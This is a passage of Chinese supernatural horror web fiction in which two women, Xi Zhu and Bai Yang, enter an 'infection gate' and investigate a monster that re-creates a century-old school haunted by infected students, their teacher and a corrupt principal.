奚渚死死盯着那只绞虫,有什么东西正在它惨白的皮肤之下蠕动。
“人类,吃掉,人类,吃掉……”巨大的绞虫体的侧面,开始极速凸-起,在不断膨胀的凸-起之下,唰一声张开了一张血盆大口。
尖锐吼叫声带起无数颤动的苔粒子,洼地断裂处无数绿粒飞升,齐刷刷萦绕在奚渚二人周围。
五根扭曲的手指在绞虫头部砰一声炸开,猛然间突变成了一双巨大的红色复眼,鼓动凸-起的眼球之下,奚渚能感受到前所未有的压迫与震撼!
——这家伙,会吃了我和白央。
奚渚脑子里只剩这一个想法。
白央已经陷入了极大的恐惧与焦虑之中,她无法接受面前这头瘆人的怪物,一股长久以来压抑的扭曲意志直冲她心头,“为什么这头B级会出现在这里!为什么它正在看着奚渚,它想干什么?”
“你认识它?”奚渚立刻察觉出白央的不正常。
“她的同伴很好吃……”红色复眼中无数双细小瞳孔刷一下同时转动,“她的同伴很好吃……”
白央在难以抑制的愤怒中扭过脑袋,惨烈的回忆涌上脑海,无数碎尸在大雨瓢泼中被吞食。那个怪物,隔了这么多年,竟然...竟然毫不把自己放在眼里。
奚渚啧了一声,白央状态不对!
她没再管身后还在继续膨胀的复眼感染物。
她一把拽起白央,朝着洼地深处奔跑。
“方才自己感受到的感染物并不是面前这个怪物。结合白央的反应来看,这只复眼感染物的出现大概率是突发-情况,而且一定是白央也没有预料到的突发事件。”
绝对不能留在原地,且不论那只怪物有没有杀意,就算没有,也必须远离那双巨大的复眼。
奚渚清楚地看到了,那让自己浑身汗毛乍起的恐怖景象,复眼内部的无数双瞳孔中,“囚禁”着无数个被缩小的人类尸体。
——这头B级,很危险!
在苔粒子跟随奚渚飞速奔跑的过程中,她似是被某种意志驱使般,不自觉地回看了一眼身后的怪物。
对方正趴伏在地,献祭般的姿态,红色复眼虔诚闭目,无数尸体在眨眼间消失殆尽,绞虫身侧的血盆大口正一字一句呢-喃道:“欢...迎...回...来...”
奚渚被瘆到了,她立刻转身!
那句话是在对自己说吗?
可是那究竟是什么意思?
她立刻看向身旁的白央,对方什么反应都没有,大概是没有听见!还是说!白央根本听不懂这些怪物的呢-喃!
奚渚在自我怀疑中停下了步子,就在她准备再次确认自己是不是出现了幻听的时候,白央突然郁郁开口。
“那家伙杀了我的所有同伴。”
掷地有声,奚渚听的非常清楚。
“因为你,所以它才没有对我动手。”白央一字一句解释道,声音十分压抑,“但我不知道它为什么会出现在这里,B级精神类感染物——大寒。”
“你的意思是,它有名字?”奚渚问道,看来白央是真的不知道复眼能和自己交流。
“它在十年前的一次特别任务中突然出现,没有任何预兆,就杀了前猎人7组的所有成员,总计七十人。一切武力压制都对它毫无用处,联盟无法逮捕它,剩下的猎人组更是毫无办法!它消失了整整十年!”白央语气中带着细小的颤-抖,“我杀不了它,更没办法直视它,所以只能又一次逃跑...”
“精神类感染物的意思就是指会控制人的精神吗?”奚渚故意岔开了话题,自己必须打断白央现在的思维,不能再让她深陷回忆。
而且白央在如此压迫感强的环境下就推断出复眼没有杀她是因为自己。
那么一旦让白央知道自己可以与复眼进行某种交流,那么最惨的下场莫过于白央直接上报那些人。
所以,绝不能再让她继续分析下去!
“幻觉、妄念、欲-望,它能让你看到人类穷极一生所追求之物。没有人愿意从幸福的幻觉中苏醒。这头B级一旦发动精神压制,所有人都只会落得同一个下场,在自己的美梦中死无全尸!”
奚渚突然停下脚步,那股瘆人的气息突然没了,“消失了。”
白央慢慢转身,透过头盔可以清楚的看到,大寒刚才所出现过的地方已经没有了任何苔粒子,几乎在瞬间就消失的一干二净!
那家伙是什么意思,只是为了看奚渚一眼吗?
白央扭回身体,看向在原地站着不动的奚渚,对方并没有任何惊恐之色。
奚渚是否太过奇怪,自己是否现在就要上报异常呢?
“E级来了。”奚渚冷不丁开口,真是一波未平一波又起。
她紧紧盯着周围,看来刚才是因为B级的突然出现,所以才导致这头E级被迫躲了起来。
B级一消失,E级就迫不及待立刻现身,看来B级的压迫是真的强大。
白央甩了甩脑袋,将所有疑问统统抛之脑后,自己必须专注于现在。
既然E级再次现身,那么就说明任务还需要继续完成!
直到任务完全结束,自己和奚渚才能从感染门出去。
“停下了。”奚渚如实说道,面前的E级突然停下了。
在奚渚脑海中,感染物的停下,不是指物理身体上的脚步停滞,而是指感染物所带出的苔粒子的停滞。
这种感受十分明显,几乎不会有任何差池。
“所以,这就是自己的能力吗?可以通过苔粒子的变化来感受这些感染物的具体位置。”奚渚心道。
白央盯着头盔上的数据,奚渚脑内的一些数值又开始波动了起来。
她不知道奚渚在想什么,因此无从判断波动的缘由。
除了B级变体为绞虫的瞬间,奚渚脑内的波动值拉到了最高外,在其他情况下,几乎都是十分平稳的状态。
这项技术,是他们特别提出的条件,必须装到白央头盔之上,说什么是想要近距离观察奚渚这只“意外产物”。
白央心道,“如果真要近距离观察奚渚,为何不舍身亲自来一趟感染门之内呢?只会端坐于圣地之上,手中品味着几千年前从地表世界带下来的美酒。之后在微醺之际,从一堆冰冷的蓝色数据中轻易决定一个人是该活,还是该死。”
她看向奚渚,对方正在盯
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着某个地方,根本毫不知情。
“又动了,苔粒子在扩张。”奚渚解释道,她的注意力全在感染物之上,根本没有注意到此时白央的奇怪表情。
“B级大寒消失之后,它所创造出的感染区也会一并消失。E级现在应该是在重新具现化自己的感染区。”白央解释道。
“那这么说来,E级的重新具现说明我们已经回归到了正常任务中,那么作为负责人的你,应该知道这次的感染区是什么样子吧。”奚渚分析道。
“不,我不知道。”白央重新拆掉了右手的绷带,手上的皮肉已经在特效绷带的作用下开始缓慢恢复,“清扫者没有资格知道这些。”
“那谁有资格知道?”
白央重新裹好绷带,“猎人7组。”
话音未落,二人周围的苔粒子开始扭曲膨胀,远处的黑暗洼地正在逐步瓦解,如同墙皮脱落般四散湮灭,一瞬间就已经化为了灰烬。
取而代之的是无数粒子在天空中交融汇合,墨点一般的具现化大雨劈头而落,萤火虫一般的粒子在雨幕中渐渐形成几座形单影只的建筑物。在无穷无尽的风暴变幻中,似乎有无数双眼睛忽明忽现。
奚渚在一片昏暗中抬起头,粒子消散过后,面前是一间黑漆漆的废弃屋子。
无数桌椅板凳生了锈,废弃的黑板上画着“去死!去死!去死!”的字样,角落处的一块模糊印记处,需要仔细分辨才能看得清——终末6801年。
奚渚看向荒无人烟的窗外,这里大概是在三四层,或许更高。
“这里是一百年前...的学校。”
“呐,你为什么不上课?”身后冷不丁传来一个女孩的声音,奚渚的衣袖也被猛地拉扯开。
奚渚慢慢回头,整间教室在瞬间就坐满了学生,她们面色苍白,毫无活人之气,但无一例外地都齐刷刷盯着自己。
“好,我马上上课。”奚渚对着身后脸色发青的女孩笑了一下,坐到了离自己最近的座位之上。
且不论现在这是什么情况,自己最好还是顺其自然,看这个感染物具现出这所百年前的学校是为了什么。
叮铃铃!
诡异的上课铃陡然响起。
奚渚跟着“同学们”站了起来,她知道,这是要迎接老师的到来。
门外开始响起异样的咕噜咕噜声,似乎是肉-体爬行在地面的摩-擦声。
奚渚抬起头,看向教室门口,庞然大物的黑影立刻笼罩了整间教室。
刺鼻的气味直冲奚渚鼻腔,她攥紧了双手,隐藏在同学们之间。
门外的东西正在不断向内挤压。
下一秒,教室墙体被直接挤压断裂,一个浑身嵌满咀嚼嘴巴的人形怪物正站在门口。
随着怪物的不断挤压,那些嘴巴也如肉瘤一般接二连三脱落!
无数只嘴巴在刺耳尖叫,而在这只怪物身后,奚渚看到了一个熟悉的身影。
“我叫颜如忆,是你们这学期的班主任,刚才竟然有人在我眼皮子底下逃课,真是罪不可赦!”怪物用细小的气音喃喃自语。
奚渚脑袋发麻,颜如忆几乎在瞬间就释放出了强大的压迫感,而那些嘴巴宛如活物一样,立刻从颜如忆身体之上全书数脱落,窜到了所有同学面前,嘴巴凄厉大喊:“罪不可赦!罪不可赦!罪不可赦!”
而在门口阴影处,奚渚看到白央正在对自己比着奇怪的手势。
9. 百年前的学校(二)
奚渚视线回移,那个自称颜如忆的班主任已经形如枯槁。
肉球嘴巴从她身上掉下的瞬间,颜如忆就以一种奇怪的姿态蜷缩在了讲台之上。
那样子,倒像是失去了什么保护壳一般。
奚渚低下头,看向跳到桌子上的嘴巴,它们依旧在单音节重复着,“罪不可赦!罪不可赦!罪不可赦!”
——所以,到底是谁罪不可赦?
奚渚偏移视线,周围的同学个个呆愣在地,宛如行尸走肉。
不过,要是这些具现化出来的假人跟自己反应一样才更奇怪吧。
毕竟这地方只是感染物创造出的幻境而已。
那么就像通关副本一样,只要自己成功找到感染物,解决掉对方,清除掉感染区,自然就算完成任务,随即也就能够从污染门内出去了。
只不过,要如何解决呢?
自己身上只带着一把枪,这把枪能在关键时候起作用吗?
奚渚抬头看向颜如忆,对方在自己思考的瞬间就立刻老了几十岁,只见她姿态诡异,微微一笑,好像一个真的老师对着真的学生那般双手一挥,轻吐-出一句极为奇怪的台词,“真是颜老师培育下的优秀的产物。”
奚渚没有动,因为她周围的人都没有动。
感染物会通过自己的欲-望来塑造感染区。
那么,现在的场景、对话,甚至是奇怪造作的动作是否都曾在百年前真正发生过呢?
奚渚看着一脸愠色的颜如忆,对方的动作越来越奇怪,像是在刻意模仿什么人,只见她“习惯性”地捋了捋脑袋顶,将头发拨楞到一边,再次苦口婆心劝道:“同学们,只有听颜老师的话,你们才能活着出去啊。”
这话一出,周围的同学们便开始机械地拖动凳子。
尖锐的刺耳声在废弃地板上来回地响,吵得人耳朵疼。
奚渚跟着坐下,继续盯着颜如忆,顺便瞥了一眼门外的白央,白央已经溜走不见了。
颜如忆没有丝毫察觉,依旧沉浸在讲台之上,只见她的脸色开始不正常的扭曲变形,几秒间就变作了一个男人的嘴脸,“同学们,今天不上课,而要做一项特别游戏。”
话音未落,颜如忆的脸又变成了另一个男人的模样。
“这个游戏需要所有学生配合,倒数十秒,十秒之后如果有人没有躲到桌子下面,我就会做出严厉的惩罚。”
“惩罚?”奚渚满脸疑惑,这是什么意思。
可还没等她思考完,颜如忆就开始了机械地倒数,“十。”
只见周围所有学生都活了一般,立刻推开凳子,牟足了劲儿往桌子底下钻,这样的动作看起来已经十分熟练。
“九。”
有几个面色苍白的,还没来得及躲,疲软的身体就被生锈的课桌直接割开了身体,绿色的肠液外露,蜘蛛网状的内脏破裂,啪一声,就摔到了一边。
“八。”
奚渚还是没有任何动作,她仍旧在观察周围动作奇怪的同学们。
她们大部分都磕磕绊绊,动作踉跄,宛如吊着最后一口气一样,机械地爬上爬下躲避着。这游戏的目的是什么?难道是为了躲什么人吗?
奚渚突然想到颜如忆已经变为了一个男人的模样。
在变为男人面孔时,颜如忆的语气明显强硬许多。变为憔悴的女人模样时,颜如忆的口气又带着不易察觉的紧张。
其辨别方法,大概是靠颜如忆是否是以“我”自称,还是以“颜老师”这种第三人称作为称呼。
这些男人一定与这座学校脱不开关系。
“七。”
奚渚本能地朝讲台一瞥,在余光中,她突然看到颜如忆朝自己猛冲而来。
还没等奚渚反应过来,自己的脖子就被狠狠掐紧。
“你为什么不听话!他们可没有这么久的耐心!”
颜如忆的双手还在持续缩紧,似乎对奚渚十分“恨铁不成钢”。
奚渚被掐的头脑昏沉,索性脑子里一根弦还清明着。
她猛地掰断了自己的手腕,举到了颜如忆面前,奚渚在赌。
“老师,我受伤了,所以动作比较慢。”
不知是哪个词刺-激到了颜如忆,对方猛地松手,一脸难以置信。
颜如忆节节后退,哐一声撞到了桌子上,那些嘴巴在颜如忆恢复理智的瞬间,重新聚拢到了她身上。
一瞬间,颜如忆再次被“罪不可赦”的嘴巴给密密麻麻地包裹了起来。
奚渚心中有了一个猜测,于是她立刻装作受伤很疼的样子,对着那一团肉泥道:“老师,我感染了......”
话音未落,肉瘤处再次出现了颜如忆的脸。
她一脸担忧,朝着奚渚奔过来,那样子似乎是十分愧疚。
重新恢复理智的颜如忆让那些嘴巴开始望而却步,它们突然变得一个都不敢上前,躲在角落持续念叨。
“感染的严重吗?心脏疼还是脑袋疼?感染不会持续很久的,老师一定会找到治疗的办法,你不要担心,老师一定会救你们出去的,再等等老师好吗?”
奚渚任由颜如忆握着自己的手,她将自己沉浸在这场感染教室的戏码中,“我等你,老师。”
被如此答应的颜如忆猛地抬起了头,双眼通红,她就这样和一个百年之后的陌生学生互相对视。
最终,颜如忆猛地站起身,边说边走,“我出去一趟,你能帮老师管理一下班级吗?”
“好啊,要怎么管理呢?”奚渚答应地很迅速。
“不要让任何同学出去,让他们每个人都呆在自己的座位之上,如果有学生状态不对,你就将讲台上的药喂给他们,再测量一下他们的体温可以吗?”颜如忆飞快地嘱咐着。
“好,老师。”奚渚目送着颜如忆的背影急匆匆离开,而那些嘴巴也立刻消停了。
——看来它们要施加罪不可赦的目标不是学生,而是颜如忆啊。
奚渚环视了一圈教室,同学们大多数都萎靡不振,一脸死相。
刚才的躲避动作,倒是让奚渚想到了一种学校里经常开展的活动,那就是灾难演习。
不论是地震,还是消防,抑或是其它。
这种行为模式就很像演习。
躲到什么地方,好更容易躲避到什么不好的事情。
难道她是为了让学生躲什么东西吗?
对方刚才也提到了感染一词,那么是否可以说明颜如忆是知晓感染一事的。
从她所说的服药量体温等词语来看,颜如忆大概认为这场感染是一种类似感冒这种可以治愈的疾病。
百年前的学校,以产物称呼学生的陌生男人,不知感染真相的老师,以及完全状况外只会听从指令的学生,奚渚再次朝着窗户外望过去,自己似乎是到了什么不得了的过去呢?
暗夜中,连绵起伏的土山,几条细细的羊肠小道直通汇聚
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到远方,再远再远,就看不清了。
看来这里只是某个联区的一个偏僻地方的学校。
至少在一百年前是。
奚渚掠过周围的同学,走向讲桌,如果那里有什么药的话,那是否会有一些别的东西呢?
但结论是,什么都没有。
十分平常的讲桌,一个破旧的教案本,还有几根小小的粉笔,看情况应该是没舍得扔。
不过这也很正常,地下世界,粉笔这种东西应该十分珍贵,所以颜如忆也用的很仔细。
几节粉笔之后就是一些零散药片,没有包装,小心翼翼被裹在教案纸中,看来药物也非常稀有珍贵。
奚渚随手翻了翻颜如忆的教案,十分工整的字体,详细地写着几千年地表上的一些知识。比如千年前的地表上存在一种叫大海的自然环境,蓝色水光,盈盈荡漾。还存在着真正的太阳,十分温暖,跟联盟的人造太阳完全不一样。
这些在自己穿越前的寻常之物以一种旁白姿态被写出来,奚渚只觉得这种感觉十分奇异。
继续向后翻,字体突然开始凌乱,“学生被感染了,但这个感染似乎与普通的感冒不同。”
“学生说他很难受,我给他吃了校长给的药,看看明天会不会好。”
“我把学生都留在了学校,他们都是孤儿,是可以随时被抛弃的黑户孩子。起码在这里,我可以照顾他们。”
“一个学生没了呼吸,最后一句话竟然是问我‘老师你想看见真正的太阳吗?’。我后悔了,不应该给他们任何幻想,有了幻想的产物还会甘愿被当作产物吗。”
“学生陆陆续续出现了不同的状况,我不知道该怎么办?这里是17区的收获口,是大部分时间的被遗弃之地。我该怎么办?”
“我想到了一个办法,这个办法值得我去做。”
教案戛然而止,再之后,便什么都没有了。
奚渚合上了教案,看来在教室里能了解到的情况就只有这些了。
——一个偏僻的废弃村庄,学校突发感染,而老师想要求助不知什么人。
但结果显而易见地失败了。
奚渚再次环视教室,角落处蜷缩的一个人影吸引了她的注意力。
她随手拿了一颗药放在手中,向着那人走了过去。
仔细一看,竟然是刚才拉着自己问自己为什么不上课的女孩儿。
“我很难受。”女孩儿糊糊涂涂地呢-喃着,“老师,你还回来吗?我们等了你好久好久...”
奚渚挑了挑眉,难道是颜如忆自己逃走,抛下了所有的学生?
“要吃药吗?”奚渚尝试与女孩对话。
“我很难受。老师,你什么时候回来?”女孩机械重复着,看来并不会和自己产生什么有用的对话。
但奚渚还是将那枚药片放到了对方桌子上。
苔粒子并没有自己想象中的多,甚至可以说是寥寥无几,奚渚站在原地,打量着教室周围,思考着自己或许可以出去找一些新线索。
正当她想要迈步的时候,身后那个女孩做出了不同寻常的动作。
她抓住了自己的衣服。
奚渚慢慢回头,只见对方颤颤巍巍地递出一张发黄的纸条来。
“救救我们,有人要杀死我们。”
“你在看什么?”身后突然出现的颜如忆以一种脖子断裂的扭曲姿态,越过奚渚的肩膀,瞥向那张发黄的告密纸条。
10. 百年前的学校(三)
感染门外。
戈乌抱着一堆文件,朝着感染门外七百米的方向极速移动着。
“伊文捷琳长官,我把此次感染门的相关资料都放到这里了!”戈乌对着椅子上的一位端庄的女性报告着。
“好,谢谢你,戈乌。”伊文捷琳穿着一身利落的黑色西服,西服胸口处挂着彰显荣耀的猎人徽章。
她双手松垮交叠,双目沉静,直直注视着感染门。
而最让人无法忽略的,是她脸上一条长达二十厘米的黑红伤疤。
以及被完全截肢的下半身。
“队长还好吗,伊文捷琳长官。”戈乌站在她身侧,一脸担忧地看向感染门。
戈乌原本是要求救白儒,因为对方说只要白央出现了意外,就立刻联系她。
但没想到的是,伊文捷琳长官竟然也在17区,看来最近有大事发生啊。
戈乌没办法知晓感染门内的任何情况,所以只能寄托于前猎人7组的唯一幸存者——伊文捷琳。
伊文捷琳什么都没有说,她随手翻阅了几下面前的一摞文件,但也只是看了几秒就放了回去。
她的眼睛已经没办法长时间看任何东西。
她知道这些文件是这头E级的详细资料,对方已经被抓回来十年之久,是属于E级内没什么攻击性的感染物,对方似乎对学校情有独钟,不过具体的信息,她兴致缺缺。
“有一只B级出现了哦。”她随口解释着,自那场B级感染物泄漏的意外开始之后,她就变成了这幅样子。
唯一幸存的猎人,多么可笑的称谓。
联区需要自己这样一个死里逃生的吉祥物来激发斗志,所以自己就只能端坐在上区供人“敬仰”,但索性还自己还有一个希望。
伊文捷琳感应着白央,却发现对方的气息似乎被什么更强大的东西给完全笼罩了,这大概就是被称为奚渚的女孩的能力吧。
“协调者。”她喃喃自语,“能走多远呢?”
“队长还好吗?她的手伤的很重,如果不及时处理,进入感染区之后队长会有被感染的风险啊。”戈乌急迫问道。
她没想到伊文捷琳长官还愿意露面,毕竟对方,已经成了这副样子。
戈乌是听过那场意外的。
猎人,不,应该是前猎人7组完全覆灭,唯一的活口只有奄奄一息的伊文捷琳和当时躲到了垃圾桶内的白央队长。
那是一场完全没有预料到的失败的绞杀任务。
失败之后,所有人缄默不语,默契地忽略了这场极为残酷的失败。
从此猎人7组一蹶不振,A、B级感染物横行霸道,肆意屠戮着其他联区。
本就稀少的资源变得越来越匮乏,联区不得不开展压缩人口的政策,让极大一部分居民搬迁至地窟。
任由他们自生自灭。
而慢慢的,7组也成为了一个联盟失败的污点。
其他猎人组完全与之割席,只有伊文捷琳长官,执拗地穿着那身黑色制服,做为一个活着的墓碑供人缅怀。
“她没事的。”伊文捷琳敲了敲椅子,缓缓开口,“我得走了,戈乌,我们下次见。”
戈乌立刻肃立,对着伊文捷琳的背影挥手,对方被助手推到了白儒的身边,看来是要返还上区。
戈乌甩了甩脑袋,将全部注意力集中到感染门的方向,医疗兵和医疗仓已经准备好,如果队长出现了什么意外,自己已经做好了万全的准备。
她突然想到了奚渚,如果奚渚也受伤了,自己会救她吗?
——大概…会吧。
当然!
这绝对不是因为队长在乎奚渚的原因啊!
***
感染门内,废弃教室。
奚渚扯出一个笑容,扭过脑袋和颜如忆诡异对视,“老师,她有点难受,所以我给她吃了抑制感染的药。”
颜如忆的脑袋极速变幻着表情,在听到感染一词的瞬间,好像理智恢复一样,变回了普通老师的模样。
附在她身上的嘴巴又开始脱落,它们一个个在地上蹦跶着,全部扭向奚渚的方向,似乎在怨恨她为什么要告诉颜如忆真相!
而一脸担心的颜如忆,已经蹲到了那个女学生的桌边。
“只要自己说出‘感染、生病、受伤、难受’等等一类和发病有关的词,颜如忆就会立刻变回普通老师的模样,但是,有一点奇怪的地方,那就是变回普通样子的颜如忆所产生的苔粒子并没有丝毫减少。”奚渚看向桌边的师生二人,难道E级感染物另有其人。
为了搞清楚谁才是真正的E级感染物,奚渚转换思路,她结合刚才在教案上看到的信息,开始“刺-激”颜如忆,“老师,我们什么时候能出去。”
话音未落,只见颜如忆磕磕巴巴地抬起脑袋,一瞬间,那些嘴巴又扒到了她的身上,“为什么要出去?外面很危险!那些人想把你们生吞活剥!”
奚渚浅笑一下。
——套出来了!
外面有危险,外面有莫名因素,外面不可以出去,看来颜如忆是为了保护这些感染的学生,才把他们困在这间教室的啊!
为了不断躲避那些危险,颜如忆又组织学生们不断躲藏。
“老师,我想上厕所。”奚渚继续套话。
果然,颜如忆没有拒绝。
这种类似普通师生的对话所激发出的就是正常的颜如忆,一旦话语中涉及到与感染有关的事件的话,颜如忆就会立刻扭曲成“保护者”的样子。
得到了这样的变化规律,奚渚再次提出要求,“老师,我的书忘带了,是那些描述地上世界的书。”
目前并不清楚,擅自出教室会得到什么惩罚,所以得到“保护者”同意的话,大概会更加万无一失。
“你怎么可能会有那种书,你们是不被允许有那种书的!”颜如忆突然开口,“只不过,只不过是我私自讲给你们听的罢了,是我的错,你们才会跑出去,才会感染…”
叮铃铃!
下课铃声突然响起,颜如忆掐断了话音,宛如设定好的程序一般,走上讲台,单调地重复一些下课的话。
正当奚渚以为颜如忆会直接出教室的时候,对方却一反常态,挂着一身肉瘤嘴巴,朝自己跌跌撞撞走来,她伸出手,“你如果不舒服,可以去厕所,但要快去快回。”
奚渚在满脸惊讶中点了点头。
随即颜如忆指着那个刚才拽奚渚上课的女孩,“你跟她一起去,有情况发生一定要互相帮助!”
女孩缓慢起身,木然地跟在奚渚身后。
出了教室门的奚渚回头看向颜如忆,只见对方托着肥硕的身体爬到了讲台之上,在教案本上持续写写画画。
“这里到底发生过什么事呢?事情无非是感染一类的事情,但似乎又比这更加糟糕,尤其是这些学生竟被称为产物”奚渚注视着黑灯瞎火的教室。
继续走了几十米,面前唯一被完整具现化出的竟是校长室。
里面肯定有什么情报。
想到这里的奚渚,立刻抬腿跨了进去,可谁知,身后的女孩突然伸手抓住了自己的手腕。
奚渚立刻就感受到了对方在颤-抖。
“同学,你不上课吗?”女孩木然问道。
“上啊,进教室吧。”就这样,奚渚把女孩直接带进了校长室。
对方毫无反应,看来是以为真的回到了教室。
一般来说,
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学校发生了事故都会上报校领导,那么校长室应该是学生们最为熟悉的地方,但女孩害怕成这样,就一定说明校长室疑点重重?
奚渚把女孩安排在了椅子上,毕竟一直直愣愣站着也怪吓人的。
她正准备去找找别的东西的时候,余光中就突然蹦出在角落站桩的白央。
“来了。”白央举起手,不咸不淡地打了声招呼,似乎在这里等候多时。
在奚渚看来,对方一身红衣,斜挎着枪械,带着诡异的红头盔,看起来更加可怕啊!
“发现什么了吗?”奚渚一边问一边分享着自己在教室里找到的情报,“大概是师生感染,老师为了保护学生这样的情况,但是我觉得事情更加复杂。”
白央点点头,翻出了校长桌上的一堆陈旧报纸。
因为灰尘十分多,报纸也整个发黄,所以油墨已经变得十分浅,大部分地方如果不仔细看根本看不清。
看来这地下世界也可以印刷东西啊。
白央将一摞报纸齐刷刷摊开,分别按年份一个一个排列过去。
首先映入眼帘的是,6801年某天的一则重大新闻,但说是重大其实也只是挤在了报纸的缝隙处,只不过是被人特地给圈了起来。
“感染者逃窜至17区偏僻小镇,联盟已派遣清扫者积极处理,我们不希望在如此重大的节日之前听到这样的不好消息。”
奚渚继续看向下一页,是6802年的,“17区的感染者目前已经逃窜接近一年,这一年我们依旧心怀感恩,但我们希望有居民立刻上报,不要违背联邦法条,企图藏匿感染物!”
6804年,“清扫者已锁定感染者位置,即将于明天晚上进行彻底消杀。”
6807年,“感染小镇因违反联邦法条,将进行完全消杀处理,在这样伟大的节日之前发生了这样的事情,真是令人惋惜。”
四则新闻的落款处,皆是四个模糊的字体——HPP重工。
奚渚抬起头来,这落款方怎么和自己之前打算面试的公司的名字一样呢?
白央接着道,“你难道不觉得这四件新闻的表达方式很奇怪吗,就像是故意装作真相大白般,刻意声张。”
奚渚重新整理着脑子里的线索,“小镇藏匿感染者,学校被整个感染,老师消失,学生死亡,百年的心结一直被感染物所具现。而且还有那个HPP重工,小黑曾经说过HPP就是在6801年成立的。”
白央随手翻着校长室的桌子和抽屉,却突然嗤笑一声,从桌子深处掏出了什么东西。
一瓶上好的红酒。
“这东西看起来很珍贵啊。”奚渚确认道,这酒一看就是从地面带下来的。
“一个偏远小镇的人口稀疏的学校校长,到底该做什么事情才能获得这样一瓶上区的酒呢?”白央抛出了问题,“除非,他干了什么见不得人事,而这瓶酒就是封口费。”
正当二人打再次深-入翻找的时候,奚渚在余光中看到椅子上的女孩突然站了起来。
接下来,更诡异的事情发生了。
只见女孩周围开始凝固苔粒子,一个秃头男人被具现化到了校长椅上,“你们就给我一瓶酒,就想让我把你们做的腌臜事给掩盖过去!真是异想天开!”
“除非你们答应我那件事!我就在节日前给你们保密,而且,最重要的!我还会给你们换一批产物!”
“还有啊!我要上区的一栋房子!之后你们爱怎么处理就怎么处理!”
“注意啊!我已经找好了替罪羊!这学校也该一把火被烧了!”
随着男人的不断比划,奚渚脑子里突然闪过一个想法,“感染物并不是颜如忆,而是自己面前的这个女孩。”
11.百年前的学校(四)
“这种感染物故意将自己隐藏起来的情况十分常见吗?”奚渚问道。
“个体能力不强的感染物就会选择躲避隐藏,这也是E级的一个特征。作为最低级的感染物,它们在没有被捕获前大部分也会选择躲藏在人群里。”白央道。
“所以清扫者才会定期查看庇护所是否被人顶替吗?”
“没错,只是为了尽早清除感染者和逮捕感染物。”
奚渚突然想到了什么,“那我还能返还地窟的那间庇护所吗?”
“一切取决于他们的判断。”
“所以你还不想告诉我他们指谁吗?”奚渚抬眸看向白央。
“任务结束后,你就会见到他们。”
奚渚抽回注意力,白央并不会告诉自己其他任何有用的信息,想要知道自己接下来会发生什么,就必须尽快结束这次的任务。
又一阵黑暗过后,奚渚朝女孩的方向看过去。
“消失了。”
“女孩不见了。”
脑子中平缓波动告诉奚渚此刻并没有任何异常,苔粒子一直保持着某种固定的浓度。
白央举起枪,是那把嵌合体形状的清扫枪,“这头E级很聪明,是故意把我们这些外来者引到这里来的。”
“倒不如说是,故意把我们引出教室。”奚渚站在原地,眺望漆黑一片的楼道。
因为具现化的原因,整个楼道遥望过去,看起来跟一片波澜不平的水面一样。
奚渚视线上移,角落处一团奇怪的阴影似乎在壮大,她开口问向白央,“那个跟着你的嘴巴被你解决了吗?”
白央回忆道:“没有,它突然之间就消失了。”
“可能教室里那一滩肉瘤才是本体。”奚渚看向那团逐渐清晰的暗影,“它想在这里解决掉咱们。”
啪一声,屋顶之上某种黏腻的东西摔到了二人面前。
在奚渚眼中,这滩肉泥在摔下来的瞬间,就以一种极为膨胀的方式朝白央攻击而去。
白央立刻扭身,却没想到肉泥立刻变形为一张大嘴,撕扯下一部分她还没恢复过来的右手。
枪被甩到地上,那只嘴巴立刻朝着清扫枪席卷而去。
——它的目的不是人,而是那把可以将它一击致命的清扫武器!
奚渚瞪大了眼睛,在她的目光中,嘴巴的移动速度似乎十分缓慢,她不知道这是什么原因,但她本能地不敢眨眼,紧紧盯着清扫枪跌落的轨迹。
在嘴巴猛冲而来的瞬间,奚渚嗖一下冲过去,架起枪,对着距离自己不足一厘米的嘴巴,砰一声,将它炸了个粉碎。
清扫枪的后坐力将奚渚狠狠甩到了墙上,她能感受到自己的五脏六腑被猛地撞飞,又猛地下坠。
“很厉害吧,那把枪。”白央落魄地靠在另一侧,看向满脸惊奇的奚渚。
“你的手没事儿吗?刚才被感染物咬了吧。”奚渚将自己撑起来,她能感受到自己的身体正因后坐力而发麻。
“看来那只是本体的一部分。”白央没怎么在意自己的手。
“我知道,我去教室解决那头本体。”奚渚拿起枪,朝向门口的方向走去,“只要解决掉它,出去后你的手就能最快得到治疗了吧。”
“要把枪握到与你视线齐平的地方,瞄准感染物的脑袋,不要有任何犹豫地将对方一击致命。”白央缓缓开口道。
奚渚点头,“好。”
白央看着奚渚消失的身影,自己的手甚至能感受苔粒子的触碰,冰冰凉凉,一瞬间就消散。
她垂下脑袋,笑了一声,“搞什么啊,这种类似同伴的氛围,明明她什么都不知道。”
***
“本体是教室那一堆肉瘤嘴巴,它们会附在颜如忆的身上用来迷惑众人。”奚渚朝着教室的方向逼近。
身边苔粒子在不断增多,看来是本体意识到了分身的死亡。
奚渚望向手中的枪,这种强大的武器怎么看都太离谱了。怎么都不像17区能有的产物啊,难道是在别的联区制造出来的?
话说回来,自己穿越而来一直在躲躲藏藏,还从没有了解过的别的联区是什么样子。
奚渚第一次对这个奇怪的地下世界产生了好奇。
宛如天方夜谭的地下联区,怎么看都疑惑重重。
人类究竟是为何迁移至此?地表又发生了什么不可挽回之事?
还有,那夜出现的那些人到底是谁?
——那些在铁山堆里追杀那个陌生人的人。
剧烈的冲击,爆炸的公车,火花四溅的景色,无限影像相互重叠,刚才的强大震荡,直接让奚渚回忆起了那晚发生过的事情。
——莫名其妙的女孩,突然出现的一行人,还有...还有为什么自己活了下来!
如果这地方能制造出如此强大的高科技武器,那么是否可以找到线索解答自己的疑惑。
——自己到底是谁?又发生了什么?这一切只是普通的穿越?还是像小说里写的那样疑惑重重陷阱满布。
还有自己身上这种奇怪的感知能力。白央一定没有说实话,不论感染物何时解决,自己出去之后,大概率不会是什么好下场。
要先解决白央吗?
奚渚立刻否定,一旦对方这个监管者死了,自己的下场大概只会更惨。
真是走到哪儿都是一路黑啊!
自己就不应该上窟找什么工作,就应该半死不活地直接当一个地下城宅女啊!
她叹了口气,后回归后悔,自己眼下要做的才是最重要的事情。
不过刚才怎么没觉得这条走廊有这么长呢,难道这也是感染物的能力?
奚渚循着楼道一路走过去,慢慢地,周围开始出现宛如定格动画一样的场景,无数个人影被幻化出来,其中有颜如忆,也有女孩,还有校长,以及一百年前的丝丝缕缕的真相。
***
“校长,颜老师去哪儿了?”
“校长,是不是你把颜老师藏起来了!为什么要和我们抢玩具?”
“你就这么钟意这个新老师吗?难道只是因为她装模作样地关心了你几句,你就舍不得动手了吗?我告诉你!你如果完成不了任务,就会变得毫无用处!你知道毫无用处代表着什么吧!”
